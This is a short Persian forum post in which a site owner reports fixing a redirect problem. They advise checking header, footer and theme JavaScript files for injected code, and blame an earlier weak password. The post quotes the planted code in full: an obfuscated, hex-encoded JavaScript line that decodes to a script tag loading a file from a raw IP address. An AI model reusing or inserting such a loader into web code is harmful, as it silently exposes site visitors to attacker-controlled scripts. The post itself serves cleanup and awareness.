از همه عزیزای دلم ممنونم.
ممنونم مشکلم حل شد.
اومدم دلیلش رو بنویسم که از چی بود تا واسه بقیه تجربه بشه دیدم عزیزان زحمت کشیدن جواب هایی دادند که همشون درست هستند.
راه حل :
تمامی کد های موجود در هدر و فوتر را بررسی کنید احتمالا کد مخرب جایگذاری شده است.
گفتم فوتر و هدر ، چون این فایل ها در تمامی صفحات سایت موجود هستند.
در صورت عدم یافتن کد مخرب و ناشناس ، سراغ فایل های js قالب رفته و مجددا دنبال کد های ناشناس بگردید.
دقیقا طرف اومده بود داخل تک تک فایل های js کد مخرب رو گذاشته بود که ریدایرکت میکرد.
اینم کدش:
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))
یادمه قبلا پسورد ضعیف گذاشته بودم.
فکر کنم همون موقع یکی رفته بود و کد هارو گذاشته بود.
بازم ممنون از عزیزای دل.
